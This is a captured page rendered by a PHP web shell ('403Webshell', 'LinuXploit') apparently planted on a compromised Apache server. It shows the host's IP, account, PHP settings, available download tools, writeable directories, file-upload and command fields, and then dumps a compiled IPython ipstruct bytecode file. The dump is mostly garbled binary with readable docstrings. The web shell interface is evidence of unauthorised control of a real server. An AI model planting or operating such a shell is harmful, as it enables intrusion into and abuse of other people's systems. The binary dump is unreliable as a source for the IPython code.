403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/ipstruct.cpython-311.pyc
�

�@�cP.��,�dZdgZGd�de��ZdS)z�A dict subclass that supports attribute style access.

Authors:

* Fernando Perez (original)
* Brian Granger (refactoring to a dict subclass)
�Structc�n�eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zdd�Zdd�ZdS)raYA dict subclass with attribute style access.

    This dict subclass has a a few extra features:

    * Attribute style access.
    * Protection of class members (like keys, items) when using attribute
      style access.
    * The ability to restrict assignment to only existing keys.
    * Intelligent merging.
    * Overloaded operators.
    Tc�h�t�|dd��tj|g|�Ri|��dS)a�Initialize with a dictionary, another Struct, or data.

        Parameters
        ----------
        *args : dict, Struct
            Initialize with one dict or Struct
        **kw : dict
            Initialize with key, value pairs.

        Examples
        --------
        >>> s = Struct(a=10,b=30)
        >>> s.a
        10
        >>> s.b
        30
        >>> s2 = Struct(s,c=30)
        >>> sorted(s2.keys())
        ['a', 'b', 'c']
        �	_allownewTN)�object�__setattr__�dict�__init__)�self�args�kws   �8/usr/lib/python3/dist-packages/IPython/utils/ipstruct.pyr	zStruct.__init__)sB��*	���4��d�3�3�3��
�d�(�T�(�(�(�R�(�(�(�(�(�c�x�|js||vrtd|z���t�|||��dS)azSet an item with check for allownew.

        Examples
        --------
        >>> s = Struct()
        >>> s['a'] = 10
        >>> s.allow_new_attr(False)
        >>> s['a'] = 10
        >>> s['a']
        10
        >>> try:
        ...     s['b'] = 20
        ... except KeyError:
        ...     print('this is not allowed')
        ...
        this is not allowed
        z8can't create new attribute %s when allow_new_attr(False)N)r�KeyErrorr�__setitem__)r
�key�values   r
rzStruct.__setitem__AsR��$�~�	R�#�T�/�/��J�S�P�R�R�
R�����s�E�*�*�*�*�*rc��t|t��r0||jvstt|��rtd|z���	|�||��dS#t$r}t|��|�d}~wwxYw)a�Set an attr with protection of class members.

        This calls :meth:`self.__setitem__` but convert :exc:`KeyError` to
        :exc:`AttributeError`.

        Examples
        --------
        >>> s = Struct()
        >>> s.a = 10
        >>> s.a
        10
        >>> try:
        ...     s.get = 10
        ... except AttributeError:
        ...     print("you can't set a class member")
        ...
        you can't set a class member
        z.attr %s is a protected member of class Struct.N)�
isinstance�str�__dict__�hasattrr�AttributeErrorrr)r
rr�es    r
rzStruct.__setattr__Xs���(�c�3���	�
�d�m�#�#�w�v�s�';�';�#�$�D�s�J����	+����S�%�(�(�(�(�(���	+�	+�	+� ��#�#��*�����	+���s�A�
A>�)A9�9A>c�\�	||}|S#t$r}t|��|�d}~wwxYw)a�Get an attr by calling :meth:`dict.__getitem__`.

        Like :meth:`__setattr__`, this method converts :exc:`KeyError` to
        :exc:`AttributeError`.

        Examples
        --------
        >>> s = Struct(a=10)
        >>> s.a
        10
        >>> type(s.get)
        <...method'>
        >>> try:
        ...     s.b
        ... except AttributeError:
        ...     print("I don't have that key")
        ...
        I don't have that key
        N)rr)r
r�resultrs    r
�__getattr__zStruct.__getattr__zsH��(	��#�Y�F��M���	-�	-�	-� ��%�%�1�,�����	-���s��
+�&�+c�0�|�|��|S)z�s += s2 is a shorthand for s.merge(s2).

        Examples
        --------
        >>> s = Struct(a=10,b=30)
        >>> s2 = Struct(a=20,c=40)
        >>> s += s2
        >>> sorted(s.keys())
        ['a', 'b', 'c']
        )�merge)r
�others  r
�__iadd__zStruct.__iadd__�s��	
�
�
�5�����rc�X�|���}|�|��|S)z�s + s2 -> New Struct made from s.merge(s2).

        Examples
        --------
        >>> s1 = Struct(a=10,b=30)
        >>> s2 = Struct(a=20,c=40)
        >>> s = s1 + s2
        >>> sorted(s.keys())
        ['a', 'b', 'c']
        )�copyr�r
r �souts   r
�__add__zStruct.__add__�s(���y�y�{�{���
�
�5�����rc�8�|���}||z}|S)z�s1 - s2 -> remove keys in s2 from s1.

        Examples
        --------
        >>> s1 = Struct(a=10,b=30)
        >>> s2 = Struct(a=40)
        >>> s = s1 - s2
        >>> s
        {'b': 30}
        )r#r$s   r
�__sub__zStruct.__sub__�s���y�y�{�{����
���rc�B�|���D]	}||vr||=�
|S)z�Inplace remove keys from self that are in other.

        Examples
        --------
        >>> s1 = Struct(a=10,b=30)
        >>> s2 = Struct(a=40)
        >>> s1 -= s2
        >>> s1
        {'b': 30}
        )�keys)r
r �ks   r
�__isub__zStruct.__isub__�s1�������	�	�A��D�y�y���G���rc��i}|���D]8\}}t|t��r|���}|D]}|||<��9|S)z�Helper function for merge.

        Takes a dictionary whose values are lists and returns a dict with
        the elements of each list as keys and the original keys as values.
        )�itemsrr�split)r
�data�outdictr+�lst�entrys      r
�
__dict_invertzStruct.__dict_invert�sg�����Z�Z�\�\�	#�	#�E�A�c��#�s�#�#�
"��i�i�k�k���
#�
#��!"�����
#��rc��|S�N��r
s r
rzStruct.dict�s���rc�P�tt�|����S)z�Return a copy as a Struct.

        Examples
        --------
        >>> s = Struct(a=10,b=30)
        >>> s2 = s.copy()
        >>> type(s2) is Struct
        True
        )rrr#r8s r
r#zStruct.copy�s���d�i�i��o�o�&�&�&rc�
�||vS)ahasattr function available as a method.

        Implemented like has_key.

        Examples
        --------
        >>> s = Struct(a=10)
        >>> s.hasattr('a')
        True
        >>> s.hasattr('b')
        False
        >>> s.hasattr('get')
        False
        r7)r
rs  r
rzStruct.hasattr�s���d�{�rc�>�t�|d|��dS)z�Set whether new attributes can be created in this Struct.

        This can be used to catch typos by verifying that the attribute user
        tries to change already exists in this Struct.
        rN)rr)r
�allows  r
�allow_new_attrzStruct.allow_new_attr�s"��	���4��e�4�4�4�4�4rNc���t|fi|��}d�}d�}d�}d�}d�}	t�||��}
|rw|���}d|fd|fd|fd	|fd
|	ffD])\}}
||���vr||||
<||=�*|
�|�|����|D]3}||vr||||<�|
|||||��||<�4dS)aMerge two Structs with customizable conflict resolution.

        This is similar to :meth:`update`, but much more flexible. First, a
        dict is made from data+key=value pairs. When merging this dict with
        the Struct S, the optional dictionary 'conflict' is used to decide
        what to do.

        If conflict is not given, the default behavior is to preserve any keys
        with their current value (the opposite of the :meth:`update` method's
        behavior).

        Parameters
        ----------
        __loc_data__ : dict, Struct
            The data to merge into self
        __conflict_solve : dict
            The conflict policy dict.  The keys are binary functions used to
            resolve the conflict and the values are lists of strings naming
            the keys the conflict resolution function applies to.  Instead of
            a list of strings a space separated string can be used, like
            'a b c'.
        **kw : dict
            Additional key, value pairs to merge in

        Notes
        -----
        The `__conflict_solve` dict is a dictionary of binary functions which will be used to
        solve key conflicts.  Here is an example::

            __conflict_solve = dict(
                func1=['a','b','c'],
                func2=['d','e']
            )

        In this case, the function :func:`func1` will be used to resolve
        keys 'a', 'b' and 'c' and the function :func:`func2` will be used for
        keys 'd' and 'e'.  This could also be written as::

            __conflict_solve = dict(func1='a b c',func2='d e')

        These functions will be called for each key they apply to with the
        form::

            func1(self['a'], other['a'])

        The return value is used as the final merged value.

        As a convenience, merge() provides five (the most commonly needed)
        pre-defined policies: preserve, update, add, add_flip and add_s. The
        easiest explanation is their implementation::

            preserve = lambda old,new: old
            update   = lambda old,new: new
            add      = lambda old,new: old + new
            add_flip = lambda old,new: new + old  # note change of order!
            add_s    = lambda old,new: old + ' ' + new  # only for str!

        You can use those four words (as strings) as keys instead
        of defining them as functions, and the merge method will substitute
        the appropriate functions for you.

        For more complicated conflict resolution policies, you still need to
        construct your own functions.

        Examples
        --------
        This show the default policy:

        >>> s = Struct(a=10,b=30)
        >>> s2 = Struct(a=20,c=40)
        >>> s.merge(s2)
        >>> sorted(s.items())
        [('a', 10), ('b', 30), ('c', 40)]

        Now, show how to specify a conflict dict:

        >>> s = Struct(a=10,b=30)
        >>> s2 = Struct(a=20,b=40)
        >>> conflict = {'update':'a','add':'b'}
        >>> s.merge(s2,conflict)
        >>> sorted(s.items())
        [('a', 20), ('b', 70)]
        c��|Sr6r7��old�news  r
�<lambda>zStruct.merge.<locals>.<lambda>`���3�rc��|Sr6r7r@s  r
rCzStruct.merge.<locals>.<lambda>arDrc��||zSr6r7r@s  r
rCzStruct.merge.<locals>.<lambda>b�
��3��9�rc��||zSr6r7r@s  r
rCzStruct.merge.<locals>.<lambda>crGrc��|dz|zS)N� r7r@s  r
rCzStruct.merge.<locals>.<lambda>ds��3��9�s�?�r�preserve�update�add�add_flip�add_sN)r�fromkeysr#r*rL�_Struct__dict_invert)r
�__loc_data__�_Struct__conflict_solver�	data_dictrKrLrMrNrO�conflict_solve�inv_conflict_solve_user�name�funcrs               r
rzStruct.merges^��j��+�+��+�+�	�'�&��&�&��,�,��,�,��2�2�����t�X�6�6���	O�&6�&;�&;�&=�&=�#� *�8�4�x��6G� %�c�{�Z��,A� '���0�
6�
6�
��d��2�7�7�9�9�9�9�4K�D�4Q�+�D�1�/��5���!�!�$�"4�"4�5L�"M�"M�N�N�N��	J�	J�C��$���%�c�N��S�	�	�/�N�3�/��S�	�)�C�.�I�I��S�	�	�		J�	Jr)T)NN)�__name__�
__module__�__qualname__�__doc__rr	rrrr!r&r(r,rQrr#rr=rr7rr
rrs������
�
��I�)�)�)�0+�+�+�. +� +� +�D���6���
�
�
�
�
�
���� ������
'�
'�
'����"5�5�5�5�sJ�sJ�sJ�sJ�sJ�sJrN)r\�__all__rrr7rr
�<module>r^s`����&�*��^J�^J�^J�^J�^J�T�^J�^J�^J�^J�^Jr

Youez - 2016 - github.com/yon3zu
LinuXploit